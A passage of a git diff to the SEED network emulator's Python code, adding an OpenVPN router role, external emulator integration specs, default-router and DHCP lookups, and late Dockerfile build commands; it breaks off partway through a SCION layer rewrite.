for {}'.format(typename) - - new_sim = Emulator() - for l in new_layers.values(): new_sim.addLayer(l) - - for binding in self.getBindings(): new_sim.addBinding(binding) - for binding in other.getBindings(): new_sim.addBinding(binding) - - for hook in self.getRegistry().getByType('seedemu', 'hook'): new_sim.addHook(hook) - for hook in other.getRegistry().getByType('seedemu', 'hook'): new_sim.addHook(hook) - - for (v, n) in other.getVirtualNodes().items(): new_sim.setVirtualNode(v, n) - for (v, n) in self.getVirtualNodes().items(): new_sim.setVirtualNode(v, n) - - return new_sim - - def dump(self, fileName: str) -> Emulator: - """! - @brief dump the emulation to file. - - @param fileName output path. - @throws AssertionError if the emulation is already rendered. - - @returns self, for chaining API calls. - """ - - assert not self.__rendered, 'cannot dump emulation after render.' - with open(fileName, 'wb') as f: - pickle.dump(self.__registry, f) - - return self - - def load(self, fileName: str) -> Emulator: - """! - @brief load emulation from file. - - @param fileName path to the dumped emulation. - - @returns self, for chaining API calls. - """ - - with open(fileName, 'rb') as f: - self.__rendered = False - self.__dependencies_db = {} - self.__registry = pickle.load(f) - self.__layers = self.__registry.get('seedemu', 'dict', 'layersdb') - self.__bindings = self.__registry.get('seedemu', 'list', 'bindingdb') - - return self +from __future__ import annotations +from seedemu.core.enums import NetworkType, NodeRole +from .ExternalConnectivityProvider import ExternalConnectivityProvider +from .Merger import Mergeable, Merger +from .Registry import Registry, Registrable, Printable +from .Network import Network +from seedemu import core +from typing import Dict, Set, Tuple, List +from sys import prefix, stderr +from ipaddress import IPv4Address, IPv4Network +from seedemu.core.ExternalEmulation import ExternalEmuSpec +import pickle + +class BindingDatabase(Registrable, Printable): + """! + @brief Registrable wrapper for Bindings. + + classes needs to be Registrable to be saved in the Registry. wrapping + bindings database with Registrable allows the bindings to be preserved in + dumps. + """ + + db: List[core.Binding] + vpnodes: Dict[str, core.Node] + + def __init__(self): + """! + @brief Create a new binding database. + """ + + ## Binding database + self.db = [] + + ## virtual "physical nodes" + self.vpnodes = {} + + def print(self, indentation: int) -> str: + """! + @brief get printable string. + + @param indentation indentation. + + @returns printable string. + """ + + return ' ' * indentation + 'BindingDatabase\n' + +class LayerDatabase(Registrable, Printable): + """! + @brief Registrable wrapper for Layers. + + classes needs to be Registrable to be saved in the Registry. wrapping + layers database with Registrable allows the layers to be preserved in dumps. + """ + + db: Dict[str, Tuple[core.Layer, bool]] + + def __init__(self): + """! + @brief Build a new layers database. + """ + + ## Layers database + self.db = {} + + def print(self, indentation: int) -> str: + """! + @brief get printable string. + + @param indentation indentation. + + @returns printable string. + """ + + return ' ' * indentation + 'LayerDatabase\n' + +class Emulator: + """! + @brief The Emulator class. + + Emulator class is the entry point for emulations. + """ + + __registry: Registry + __layers: LayerDatabase + __dependencies_db: Dict[str, Set[Tuple[str, bool]]] + __rendered: bool + __bindings: BindingDatabase + __resolved_bindings: Dict[str, core.Node] + + __service_net: Network + __service_net_prefix: str + __ecp: ExternalConnectivityProvider + + def __init__(self, serviceNetworkPrefix: str = '192.168.66.0/24'): + """! + @brief Construct a new emulation. + + @param serviceNetworkPrefix (optional) service network prefix for this + emulator. A service network is a network that does not take part in the + emulation, and provide access between the emulation nodes and the host + node. Service network will not be created unless some layer/service/as + asks for it. + """ + self.__rendered = False + self.__dependencies_db = {} + self.__resolved_bindings = {} + self.__registry = Registry() + self.__layers = LayerDatabase() + self.__bindings = BindingDatabase() + + self.__registry.register('seedemu', 'dict', 'layersdb', self.__layers) + self.__registry.register('seedemu', 'list', 'bindingdb', self.__bindings) + + self.__service_net_prefix = serviceNetworkPrefix + self.__service_net = None + self.__ecp = ExternalConnectivityProvider() + self.__externalComponents = {} + + + + def __render(self, layerName, optional: bool, configure: bool): + """! + @brief Render a layer. + + @param layerName name of layer. + @throws AssertionError if dependencies unmet + """ + verb = 'configure' if configure else 'render' + + self.__log('requesting {}: {}'.format(verb, layerName)) + + if optional and layerName not in self.__layers.db: + self.__log('{}: not found but is optional, skipping'.format(layerName)) + return + + assert layerName in self.__layers.db, 'Layer {} required but missing'.format(layerName) + + (layer, done) = self.__layers.db[layerName] + if done: + self.__log('{}: already done, skipping'.format(layerName)) + return + + if layerName in self.__dependencies_db: + for (dep, opt) in self.__dependencies_db[layerName]: + self.__log('{}: requesting dependency render: {}'.format(layerName, dep)) + self.__render(dep, opt, configure) + + self.__log('entering {}...'.format(layerName)) + + hooks: List[core.Hook] = [] + for hook in self.__registry.getByType('seedemu', 'hook'): + if hook.getTargetLayer() == layerName: hooks.append(hook) + + if configure: + self.__log('invoking pre-configure hooks for {}...'.format(layerName)) + for hook in hooks: hook.preconfigure(self) + self.__log('configuring {}...'.format(layerName)) + layer.configure(self) + self.__log('invoking post-configure hooks for {}...'.format(layerName)) + for hook in hooks: hook.postconfigure(self) + else: + self.__log('invoking pre-render hooks for {}...'.format(layerName)) + for hook in hooks: hook.prerender(self) + self.__log('rendering {}...'.format(layerName)) + layer.render(self) + self.__log('invoking post-render hooks for {}...'.format(layerName)) + for hook in hooks: hook.postrender(self) + + self.__log('done: {}'.format(layerName)) + self.__layers.db[layerName] = (layer, True) + + def __loadDependencies(self, deps: Dict[str, Set[Tuple[str, bool]]]): + """! + @brief Load dependencies list. + + @param deps dependencies list. + """ + for (layer, deps) in deps.items(): + if not layer in self.__dependencies_db: + self.__dependencies_db[layer] = deps + continue + + self.__dependencies_db[layer] |= deps + + def __log(self, message: str): + """! + @brief log to stderr. + + @param message message. + """ + print('== Emulator: {}'.format(message), file=stderr) + + def rendered(self) -> bool: + """! + @brief test if the emulator is rendered. + + @returns True if rendered + """ + return self.__rendered + + def addHook(self, hook: core.Hook) -> Emulator: + """! + @brief Add a hook. + + @param hook Hook. + + @returns self, for chaining API calls. + """ + self.__registry.register('seedemu', 'hook', hook.getName(), hook) + + return self + + def addBinding(self, binding: core.Binding) -> Emulator: + """! + @brief Add a binding. + + @param binding binding. + + @returns self, for chaining API calls. + """ + self.__bindings.db.append(binding) + + return self + + def getBindings(self) -> List[core.Binding]: + """! + @brief Get all bindings. + + @returns list of bindings. + """ + return self.__bindings.db + + def addLayer(self, layer: core.Layer) -> Emulator: + """! + @brief Add a layer. + + @param layer layer to add. + @throws AssertionError if layer already exist. + + @returns self, for chaining API calls. + """ + + lname = layer.getName() + assert lname not in self.__layers.db, 'layer {} already added.'.format(lname) + self.__registry.register('seedemu', 'layer', lname, layer) + self.__layers.db[lname] = (layer, False) + + return self + + def getLayer(self, layerName: str) -> core.Layer: + """! + @brief Get a layer. + + @param layerName of the layer. + @returns layer. + """ + return self.__registry.get('seedemu', 'layer', layerName) + + def getLayers(self) -> List[core.Layer]: + """! + @brief Get all layers. + + @returns list of layers. + """ + return self.__registry.getByType('seedemu', 'layer') + + def getServerByVirtualNodeName(self, vnodeName: str) -> core.Server: + """! + @brief Get server by virtual node name. + + Note that vnodeName is created and mapped with server in service layer. + + @param vnodeName name of vnode. + @returns server. + """ + for (layer, _) in self.__layers.db.values(): + if not isinstance(layer, core.Service): continue + for (vnode, server) in layer.getPendingTargets().items(): + if vnode == vnodeName: + return server + return None + + def resolvVnode(self, vnode: str) -> core.Node: + """! + @brief resolve physical node for the given virtual node. + + @param vnode virtual node name. + + @returns physical node. + """ + if vnode in self.__resolved_bindings: return self.__resolved_bindings[vnode] + for binding in self.getBindings(): + pnode = binding.getCandidate(vnode, self, True) + if pnode == None: continue + return pnode + assert False, 'cannot resolve vnode {}'.format(vnode) + + def getBindingFor(self, vnode: str) -> core.Node: + """! + @brief get physical node for the given virtual node from the + pre-populated vnode-pnode mappings. + + Note that the bindings are processed in the early render stage, meaning + calls to this function will always fail before render, and only virtual + node names that have been used in service will be available to be + "resolve" to the physical node using this function. + + This is meant to be used by services to find the physical node to + install their servers on and should not be used for any other purpose. + if you try to resolve some arbitrary vnode names to physical node, + use the resolveVnode function instead. + + tl;dr: don't use this, use resolvVnode, unless you know what you are + doing. + + @param vnode virtual node. + + @returns physical node. + """ + assert vnode in self.__resolved_bindings, 'failed to find binding for vnode {}.'.format(vnode) + return self.__resolved_bindings[vnode] + + def getServiceNetwork(self) -> Network: + """! + @brief get the for-service network of this emulation. If one does not + exist, a new one will be created. + + A for-service network is a network that does not take part in the + emulation, and provide access between the emulation nodes and the host + node. + + @returns service network. + """ + if self.__service_net == None: + self.__service_net = self.__registry.register('seedemu', 'net', '000_svc', Network('000_svc', NetworkType.Bridge, IPv4Network(self.__service_net_prefix), direct = False)) + + return self.__service_net + + def getExternalConnectivityProvider(self) -> ExternalConnectivityProvider: + """!@brief return the emulators External'RealWorld'ConnectivityProvider + """ + # if we already own the service network, its only fair, + # we also provide the means to use it properly. . . + return self.__ecp + + def render(self) -> Emulator: + """! + @brief Render to emulation. + + @throws AssertionError if dependencies unmet + + @returns self, for chaining API calls. + """ + assert not self.__rendered, 'already rendered.' + + for (layer, _) in self.__layers.db.values(): + self.__loadDependencies(layer.getDependencies()) + + # render base first + self.__render('Base', False, True) + + # collect all pending vnode names + self.__log('collecting virtual node names in the emulation...') + vnodes: List[str] = [] + for (layer, _) in self.__layers.db.values(): + if not isinstance(layer, core.Service): continue + for (vnode, _) in layer.getPendingTargets().items(): + assert vnode not in vnodes, 'duplicated vnode: {}'.format(vnode) + vnodes.append(vnode) + self.__log('found {} virtual nodes.'.format(len(vnodes))) + + # resolv bindings for all vnodes + self.__log('resolving binding for all virtual nodes...') + for binding in self.getBindings(): + for vnode in vnodes: + if vnode in self.__resolved_bindings: continue + pnode = binding.getCandidate(vnode, self) + if pnode == None: continue + self.__log('vnode {} bound to as{}/{}'.format(vnode, pnode.getAsn(), pnode.getName())) + self.__resolved_bindings[vnode] = pnode + + self.__log('applying changes made to virtual physical nodes to real physical nodes...') + vpnodes = self.__bindings.vpnodes + for (vnode, pnode) in self.__resolved_bindings.items(): + if not vnode in vpnodes: continue + vpnode = vpnodes[vnode] + + self.__log('applying changes made on vnode {} to pnode as{}/{}...'.format(vnode, pnode.getAsn(), pnode.getName())) + pnode.copySettings(vpnode) + + for layerName in self.__layers.db.keys(): + if layerName != 'EtcHosts': + self.__render(layerName, False, True) + + # render EtcHost last + if 'EtcHosts' in self.__layers.db.keys(): + self.__render('EtcHosts', False, True) + + # FIXME + for (name, (layer, _)) in self.__layers.db.items(): + self.__layers.db[name] = (layer, False) + + for layerName in self.__layers.db.keys(): + self.__render(layerName, False, False) + + self.__rendered = True + + return self + + def compile(self, compiler: core.Compiler, output: str, override: bool = False) -> Emulator: + """! + @brief Compile the simulation. + + @param compiler to use. + @param output output directory path. + @param override (optional) override the output folder if it already + exist. False by default. + + @returns self, for chaining API calls. + """ + compiler.compile(self, output, override) + + return self + + def updateOutputDirectory(self, compiler: core.Compiler, callbacks: list) -> Emulator: + """! + @brief update the output directory in a flexible way. Each service might need to update it in a different way + @param compiler to use + @param callbacks which is a list of custom functions that will be executed to update the output directory + """ + + for func in callbacks: + func(compiler) + + def getRegistry(self) -> Registry: + """! + @brief Get the Registry. + + @returns Registry. + """ + return self.__registry + + def getVirtualNode(self, vnode_name: str) -> core.Node: + """! + @brief get a virtual "physical" node. + + This API allows you to create a "virtual" physical node for a virtual + node. A real "Node" instance will be returned, you can make any changes + to it, and those changes will be copied to the real physical node the + virtual node has bound to during render. + + Note that all the APIs that require the node to be in an AS will not + work. Like `getAsn`, `joinNetwork`, etc. You will get an error if you + use them. + + @param vnode_name virtual node name. + + @returns node + """ + if vnode_name not in self.__bindings.vpnodes: + self.__bindings.vpnodes[vnode_name] = core.Node(vnode_name, NodeRole.Host, 0) + + return self.__bindings.vpnodes[vnode_name] + + def setVirtualNode(self, vnode_name: str, node: core.Node) -> Emulator: + """! + @brief set a virtual node. + + This API allows you to overwrite an existing, or create new virtual node + with the given node object. + + You should use the getVirtualNode API instead, unless you know what you + are doing. + + @param vnode_name virtual node name. + @param node virtual physical node. + + @returns self, for chaining API calls. + """ + assert node.getAsn() == 0, 'vpnode asn must be 0.' + self.__bindings.vpnodes[vnode_name] = node + + return self + + def getVirtualNodes(self) -> Dict[str, core.Node]: + """! + @brief get dict of virtual "physical" nodes. + + @return dict of nodes where key is virtual node name. + """ + return self.__bindings.vpnodes + + def merge(self, other: Emulator, mergers: List[Merger] = [], vnodePrefix: str = '') -> Emulator: + """! + @brief merge two emulators. + + @param other the other emulator. + @param mergers list of merge handlers. + @param vnodePrefix prefix to add to the vnodes from the other emulator. + + @returns new emulator. + """ + + new_layers: Dict[Mergeable] = {} + other_layers: Dict[Mergeable] = {} + + for l in self.getLayers(): new_layers[l.getTypeName()] = l + for l in other.getLayers(): other_layers[l.getTypeName()] = l + + for l in other_layers.values(): + typename = l.getTypeName() + + if isinstance(l, core.Service): + l.addPrefix(vnodePrefix) + + if typename not in new_layers.keys(): + new_layers[typename] = l + continue + + merged = False + + for merger in mergers: + if merger.getTargetType() != typename: continue + new_layers[typename] = merger.doMerge(new_layers[typename], l) + merged = True + + assert merged, 'abort: no merger found for {}'.format(typename) + + new_sim = Emulator() + for l in new_layers.values(): new_sim.addLayer(l) + + for binding in self.getBindings(): new_sim.addBinding(binding) + for binding in other.getBindings(): new_sim.addBinding(binding) + + for hook in self.getRegistry().getByType('seedemu', 'hook'): new_sim.addHook(hook) + for hook in other.getRegistry().getByType('seedemu', 'hook'): new_sim.addHook(hook) + + for (v, n) in other.getVirtualNodes().items(): new_sim.setVirtualNode(v, n) + for (v, n) in self.getVirtualNodes().items(): new_sim.setVirtualNode(v, n) + + return new_sim + + def dump(self, fileName: str) -> Emulator: + """! + @brief dump the emulation to file. + + @param fileName output path. + @throws AssertionError if the emulation is already rendered. + + @returns self, for chaining API calls. + """ + + assert not self.__rendered, 'cannot dump emulation after render.' + with open(fileName, 'wb') as f: + pickle.dump(self.__registry, f) + + return self + + def load(self, fileName: str) -> Emulator: + """! + @brief load emulation from file. + + @param fileName path to the dumped emulation. + + @returns self, for chaining API calls. + """ + + with open(fileName, 'rb') as f: + self.__rendered = False + self.__dependencies_db = {} + self.__registry = pickle.load(f) + self.__layers = self.__registry.get('seedemu', 'dict', 'layersdb') + self.__bindings = self.__registry.get('seedemu', 'list', 'bindingdb') + + return self + + def getDefaultRouterByAsnAndNetwork(self, asn: int, network: str) -> IPv4Address: + """! + @brief get the default router for the given AS and network. + @param asn AS number. + @param network network name. + @return IPv4Address of the default router. + """ + assert self.__rendered, 'emulator is not rendered.' + base:Base = self.getLayer('Base') + return base.getAutonomousSystem(asn).getNetwork(network).getDefaultRouter() + + def hasDHCPServiceByAsnAndNetwork(self, asn: int, network: str) -> bool: + """! + @brief check if the given AS has a DHCP service for the given network. + @param asn AS number. + @param network network name. + @return True if the AS has a DHCP service for the given network. + """ + assert self.__rendered, 'emulator is not rendered.' + base:Base = self.getLayer('Base') + return base.getAutonomousSystem(asn).getNetwork(network).hasDHCPService() + + def registerExternalComponent(self, component): + """Register an external component.""" + self.__externalComponents[component.name] = component + + def getExternalComponents(self): + """Return all registered external components.""" + return self.__externalComponents + + def addExternalEmulation(self, spec: "ExternalEmuSpec") -> None: + """Register an external emulator integration (Task 3).""" + if not hasattr(self, "_external_emulations"): + self._external_emulations = {} + self._external_emulations[spec.name] = spec + return self + + def getExternalEmulations(self): + """Return all registered external emulator integrations.""" + return getattr(self, "_external_emulations", {}) + diff --git a/seedemu/core/ExternalEmulation.py b/seedemu/core/ExternalEmulation.py new file mode 100644 index 000000000..69b0e2028 --- /dev/null +++ b/seedemu/core/ExternalEmulation.py @@ -0,0 +1,53 @@ +# seedemu/core/ExternalEmulation.py +from __future__ import annotations +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Union + +@dataclass(frozen=True) +class ExternalNetRef: + """ + Reference a SEED network that the external emulator should attach to. + - scope: "ix" or "as" + - name: e.g., "ix100" or "net0" + - asn: required only if scope="as" + - ipv4: optional fixed IP inside that docker network + """ + scope: str # "ix" | "as" + name: str # "ix100" | "net0" ... + asn: Optional[int] = None + ipv4: Optional[str] = None + +@dataclass(frozen=True) +class ExternalFileSpec: + """ + File to be generated by SEED into output/external_emulations//... + """ + relpath: str # e.g. "bmv2/s1.json" or "startup.sh" + content: Union[str, bytes] + +@dataclass +class ExternalEmuSpec: + """ + A target integration definition (Task 3): + - what files to generate + - what service/container to start + - what SEED networks to attach to + """ + name: str + image: str + command: Union[str, List[str]] = "" + workdir: Optional[str] = None + env: Dict[str, str] = field(default_factory=dict) + + # Files generated by SEED into output bundle + files: List[ExternalFileSpec] = field(default_factory=list) + + # Attach to SEED networks + networks: List[ExternalNetRef] = field(default_factory=list) + + # Bind-mount generated folder into container at this path + mount_to: str = "/seedext" + + # Some emulators need privileges/caps + privileged: bool = True + cap_add_all: bool = True \ No newline at end of file diff --git a/seedemu/core/Network.py b/seedemu/core/Network.py index 906377082..9dac23988 100644 --- a/seedemu/core/Network.py +++ b/seedemu/core/Network.py @@ -63,6 +63,7 @@ def __init__(self, name: str, type: NetworkType, prefix: IPv4Network, aac: Addre arouter = self.__aac.getOffsetAssigner(NodeRole.Router) self.__assigners[ NodeRole.BorderRouter ] = arouter self.__assigners[ NodeRole.Router ] = arouter + self.__assigners[ NodeRole.OpenVpnRouter ] = arouter self.__assigners[ NodeRole.Host ] = ahost self.__assigners[ NodeRole.ControlService ] = ahost @@ -224,6 +225,7 @@ def setRouterIpRange(self, routerStart:int, routerEnd:int, routerStep: int): self.__aac.setRouterIpRange(routerStart, routerEnd, routerStep) self.__assigners[NodeRole.Router] = self.__aac.getOffsetAssigner(NodeRole.Router) + self.__assigners[NodeRole.OpenVpnRouter] = self.__aac.getOffsetAssigner(NodeRole.OpenVpnRouter) return self def getDhcpIpRange(self) -> list: @@ -308,6 +310,39 @@ def getExternalConnectivityProvider(self) -> ExternalConnectivityProvider: def getExternalConnectivityProvider(self) -> ExternalConnectivityProvider: return self.__ecp + def getDefaultRouter(self) -> IPv4Address: + """! + @brief Get default router for this network. + + @returns default router. + """ + for __node in self.getAssociations(): + if __node.getRole() == NodeRole.BorderRouter: + for __interface in __node.getInterfaces(): + if __interface.getNet() == self: + return __interface.getAddress() + + for __node in self.getAssociations(): + if __node.getRole() == NodeRole.Router: + for __interface in __node.getInterfaces(): + if __interface.getNet() == self: + return __interface.getAddress() + + return None + + def hasDHCPService(self) -> bool: + """! + @brief Check if this network has DHCP service. + + @returns true if has DHCP service, false otherwise. + """ + for __node in self.getAssociations(): + __services = __node.getClasses() + if "DHCPService" in __services: + return True + return False + + def print(self, indent: int) -> str: out = ' ' * indent out += 'Network {} ({}):\n'.format(self.__name, self.__type) diff --git a/seedemu/core/Node.py b/seedemu/core/Node.py index 59b32b8b9..108d12f80 100644 --- a/seedemu/core/Node.py +++ b/seedemu/core/Node.py @@ -221,6 +221,7 @@ class Node(Printable, Registrable, Configurable, Vertex, Customizable): __imported_files: Dict[str, str] __softwares: Set[str] __build_commands: List[str] + __build_commands_at_end: List[str] __docker_cmds: List[str] __start_commands: List[Tuple[str, bool]] __post_config_commands: List[Tuple[str, bool]] @@ -261,6 +262,7 @@ def __init__(self, name: str, role: NodeRole, asn: int, scope: str = None): self.__scope = scope if scope != None else str(asn) self.__softwares = set() self.__build_commands = [] + self.__build_commands_at_end = [] self.__docker_cmds = [] self.__start_commands = [] self.__post_config_commands = [] @@ -821,6 +823,34 @@ def getBuildCommands(self) -> List[str]: """ return self.__build_commands + def addBuildCommandAtEnd(self, cmd: str) -> Node: + """! + @brief Add new command to build step. These commands will be + placed towards the end of the Dockerfile. Initially, + we didn't have this API, and all the RUN commands + were placed before COPY. This order caused some problems, + because sometimes, the RUN command depends on the files + from the COPY command. + + Use this to add build steps to the node. For example, if using the + "docker" compiler, this will be added as a "RUN" line in Dockerfile. + + @param cmd command to add. + + @returns self, for chaining API calls. + """ + self.__build_commands_at_end.append(cmd) + + return self + + def getBuildCommandsAtEnd(self) -> List[str]: + """! + @brief Get build commands + + @returns list of commands. + """ + return self.__build_commands_at_end + def insertStartCommand(self, index: int, cmd: str, fork: bool = False) -> Node: """! @brief Add new command to start script. @@ -1032,6 +1062,9 @@ def print(self, indent: int) -> str: for cmd in self.__build_commands: out += ' ' * indent out += '{}\n'.format(cmd) + for cmd in self.__build_commands_at_end: + out += ' ' * indent + out += '{}\n'.format(cmd) indent -= 4 out += ' ' * indent @@ -1067,6 +1100,30 @@ def print(self, indent: int) -> str: #!/bin/bash ''' +fill_placeholder = """\ +gw="`ip rou show default | cut -d' ' -f3`" +if [ -z "$gw" ]; then + + #line=$(<"/ifinfo.txt") + line=$(grep '^000_svc:' "/ifinfo.txt") + if [ -z "$line" ]; then + echo "Error: Could not find 000_svc in /ifinfo.txt" >&2 + exit 1 + fi + ip_portion=$(echo "$line" | cut -d':' -f2) + ip_only=$(echo "$ip_portion" | cut -d'/' -f1) + docker_host="${ip_only%.*}.1" + if [ -z "$docker_host"]; then + echo "Error: Could not determine the default route required to configure BIRD." >&2 + exit 1; + else + gw="$docker_host"; + fi +fi +sed -i 's/!__default_gw__!/'"$gw"'/g' /etc/bird/bird.conf +exit 0 +""" + class Router(Node): """! @brief Node extension class. @@ -1277,8 +1334,8 @@ def seal(self, svc_net: Network): if len(self.__realworld_routes) == 0: return self.get_node().setFile('/rw_configure_script', RouterFileTemplates['rw_configure_script']) # position 0-1 is '/interface_setup' (and chmod +x) - self.get_node().insertStartCommand(0, '/rw_configure_script') - self.get_node().insertStartCommand(0, 'chmod +x /rw_configure_script') + self.get_node().insertStartCommand(2, 'if ! /rw_configure_script; then echo "rw_configure failed"; exit 1; fi') + self.get_node().insertStartCommand(2, 'chmod +x /rw_configure_script') for prefix, route_clientele in self.__realworld_routes: if route_clientele != None: @@ -1299,10 +1356,7 @@ def seal(self, svc_net: Network): # some might run SCION BR instead if 'bird2' in self.get_node().getSoftware(): # if this check is too dirty/hacky, we could use Attributes like in: "if hasattr(self, '__sealed'):" but this is still hacky - fill_placeholder = """\ - gw="`ip rou show default | cut -d' ' -f3`" - sed -i 's/!__default_gw__!/'"$gw"'/g' /etc/bird/bird.conf - """ + self.get_node().appendFile('/rw_configure_script', fill_placeholder) self.get_node().addTable('t_rw') diff --git a/seedemu/core/Scope.py b/seedemu/core/Scope.py index a69565b97..e46a0d560 100644 --- a/seedemu/core/Scope.py +++ b/seedemu/core/Scope.py @@ -61,6 +61,8 @@ def from_node(node: 'Node'): return ScopeType.CSNODE case NodeRole.RouteServer: return ScopeType.RSNODE + case NodeRole.OpenVpnRouter: + return ScopeType.RNODE diff --git a/seedemu/core/enums.py b/seedemu/core/enums.py index 96d58e653..367c08b2b 100644 --- a/seedemu/core/enums.py +++ b/seedemu/core/enums.py @@ -36,4 +36,7 @@ class NodeRole(Enum): ControlService = "ControlService" ## Route served node. - RouteServer = "Route Server" \ No newline at end of file + RouteServer = "Route Server" + + ## OpenVpn router node. + OpenVpnRouter = "OpenVpnRouter" \ No newline at end of file diff --git a/seedemu/layers/EtcHosts.py b/seedemu/layers/EtcHosts.py index 6f2cdd0b9..623100ddd 100644 --- a/seedemu/layers/EtcHosts.py +++ b/seedemu/layers/EtcHosts.py @@ -1,5 +1,6 @@ from seedemu.core import Emulator, Layer, Node from seedemu.core.enums import NetworkType +from typing import List class EtcHosts(Layer): """! @@ -8,16 +9,19 @@ class EtcHosts(Layer): This layer setups host names for all nodes. """ - def __init__(self): + def __init__(self, only_hosts: bool = True): """! @brief EtcHosts Layer constructor + @param only_hosts whether or not to create entries + for all nodes inluding routers etc. or just hosts """ + self._only_hosts = only_hosts super().__init__() self.addDependency('Base', False, False) def getName(self) -> str: return "EtcHosts" - + def __getAllIpAddress(self, node: Node) -> list: """! @brief Get the IP address of the local interface for this node. @@ -31,22 +35,28 @@ def __getAllIpAddress(self, node: Node) -> list: pass else: addresses.append(address) - + return addresses + def _getSupportedNodeTypes(self) -> List[str]: + if self._only_hosts: + return ['hnode'] + else: + return ['hnode', 'snode', 'rnode', 'rs'] + def render(self, emulator: Emulator): hosts_file_content = [] nodes = [] reg = emulator.getRegistry() for ((scope, type, name), node) in reg.getAll().items(): - if type in ['hnode', 'snode', 'rnode', 'rs']: + if type in self._getSupportedNodeTypes(): addresses = self.__getAllIpAddress(node) for address in addresses: hosts_file_content.append(f"{address} {' '.join(node.getHostNames())}") nodes.append(node) sorted_hosts_file_content = sorted(hosts_file_content, key=lambda x: tuple(map(int, x.split()[0].split('.')))) - + for node in nodes: node.setFile("/tmp/etc-hosts", '\n'.join(sorted_hosts_file_content)) node.insertStartCommand(0, "cat /tmp/etc-hosts >> /etc/hosts") diff --git a/seedemu/layers/Evpn.py b/seedemu/layers/Evpn.py index 6c18c40e2..3550115b1 100644 --- a/seedemu/layers/Evpn.py +++ b/seedemu/layers/Evpn.py @@ -150,7 +150,7 @@ def __configureOspf(self, node: Router) -> str: for iface in node.getInterfaces(): net = iface.getNet() if net.getType() == NetworkType.InternetExchange: continue - if not (True in (node.getRole() == NodeRole.Router for node in net.getAssociations())): continue + if not (True in (node.getRole() == NodeRole.Router or node.getRole() == NodeRole.OpenVpnRouter for node in net.getAssociations())): continue ospf_ifaces += EvpnFileTemplates['ospf_interface'].format( interface = net.getName() diff --git a/seedemu/layers/Ibgp.py b/seedemu/layers/Ibgp.py index a046b2e27..2f8b9d438 100644 --- a/seedemu/layers/Ibgp.py +++ b/seedemu/layers/Ibgp.py @@ -57,7 +57,7 @@ def __dfs(self, start: Node, visited: List[Node], netname: str = 'self'): for neigh in neighs: role = neigh.getRole() - if role != NodeRole.Router and role != NodeRole.BorderRouter: + if role != NodeRole.Router and role != NodeRole.BorderRouter and role != NodeRole.OpenVpnRouter: continue self.__dfs(neigh, visited, net.getName()) diff --git a/seedemu/layers/Mpls.py b/seedemu/layers/Mpls.py index 878861365..8e4723489 100644 --- a/seedemu/layers/Mpls.py +++ b/seedemu/layers/Mpls.py @@ -198,7 +198,7 @@ def __setUpLdpOspf(self, node: Router): for iface in node.getInterfaces(): net = iface.getNet() if net.getType() == NetworkType.InternetExchange: continue - if not (True in (node.getRole() == NodeRole.Router for node in net.getAssociations())): continue + if not (True in (node.getRole() == NodeRole.Router or node.getRole() == NodeRole.OpenVpnRouter for node in net.getAssociations())): continue ospf_ifaces += MplsFileTemplates['frr_config_ospf_iface'].format(interface = net.getName()) ldp_ifaces += MplsFileTemplates['frr_config_ldp_iface'].format(interface = net.getName()) mpls_iface_list.append(net.getName()) diff --git a/seedemu/layers/Scion.py b/seedemu/layers/Scion.py index 95326e8f5..19853541d 100644 --- a/seedemu/layers/Scion.py +++ b/seedemu/layers/Scion.py @@ -1,864 +1,806 @@ -from __future__ import annotations -import requests -import logging -import os -import re -from urllib.parse import urlparse -from enum import Enum -from typing import Dict, Tuple, Union, Any, Set - -from sys import version -from seedemu.core import (Emulator, Interface, Layer, Network, Registry, - Router, ScionAutonomousSystem, - ScopedRegistry, Graphable, Node, - Option, AutoRegister, OptionMode) -from seedemu.core.ScionAutonomousSystem import IA -from seedemu.layers import ScionBase, ScionIsd -import shutil -import tempfile -from seedemu.utilities.BuildtimeDocker import BuildtimeDockerFile, BuildtimeDockerImage, sh -from enum import Enum -from dataclasses import dataclass - -class LinkType(Enum): - """! - @brief Type of a SCION link between two ASes. - """ - - ## Core link between core ASes. - Core = "Core" - - ## Customer-Provider transit link. - Transit = "Transit" - - ## Non-core AS peering link. - Peer = "Peer" - - def __str__(self): - return f"{self.name}" - - def to_topo_format(self) -> str: - """Return type name as expected in .topo files.""" - if self.value == "Core": - return "CORE" - elif self.value == "Transit": - return "CHILD" - elif self.value == "Peer": - return "PEER" - assert False, "invalid scion link type" - - def to_json(self, core_as: bool, is_parent: bool) -> str: - """ - a core AS has to have 'CHILD' as its 'link_to' attribute value, - for all interfaces!! - The child AS on the other end of the link will have 'PARENT' - """ - if self.value == "Core": - return "CORE" - elif self.value == "Peer": - return "PEER" - elif self.value == "Transit": - if is_parent: - return "CHILD" - else: - assert not core_as, 'Logic error: Core ASes must only provide transit to customers, not receive it!' - return "PARENT" - -class ScionConfigMode(Enum): - """how shall the /etc/scion config dir contents be handled:""" - - # statically include config in docker image (ship together) - # this is fine, if no reconfiguration is required or the images - # must be self contained i.e. for docker swarm deployment - BAKED_IN = 0 - # mount shared folder from host into /etc/scion path of node - # this saves considerable image build time and eases reconfiguration - SHARED_FOLDER = 1 - # create named volumes for each container - NAMED_VOLUME = 2 - # TODO all hosts of an AS could in theory share the same volume/bind-mount.. - # PER_AS_SHARING # this would only be possible for keys/crypto but not config files - -# NOTE this option is used by ScionRouting and ScionIsd layers -# and can be specified in ScionRouting constructor -class SCION_ETC_CONFIG_VOL(Option, AutoRegister): - """ this option controls the policy - where to put all the SCION related files on the host. - """ - value_type = ScionConfigMode - @classmethod - def supportedModes(cls) -> OptionMode: - return OptionMode.BUILD_TIME - @classmethod - def default(cls): - return ScionConfigMode.BAKED_IN - - -def handleScionConfFile( node, filename: str, filecontent: str, subdir: str = None): - """ wrapper around 'Node::setFile' for /etc/scion config files - @param subdir sub path relative to /etc/scion - """ - if (opt := node.getOption('scion_etc_config_vol')) != None: - suffix = f'/{subdir}' if subdir != None else '' - match opt.value: - case ScionConfigMode.SHARED_FOLDER: - current_dir = os.getcwd() - path = os.path.join(current_dir, - f'.shared/{node.getAsn()}/{node.getName()}/etcscion{suffix}') - os.makedirs(path, exist_ok=True) - with open(os.path.join(path, filename), "w") as file: - file.write(filecontent) - case _: - #case ScionConfigMode.BAKED_IN: - node.setFile(f"/etc/scion{suffix}/{filename}", filecontent) - #case ScionConfigMode.NAMED_VOLUME: will be populated on fst mount - else: - assert False, 'implementation error - lacking global default for option' - - -@dataclass -class CheckoutSpecification():#SetupSpecification - """ - Identifies a specific SCION release version or RepoCheckout - """ - mode: str # 'release' or 'build' - release_location: str - version: str - git_repo_url: str - checkout: str - - # TODO do some more logic >> 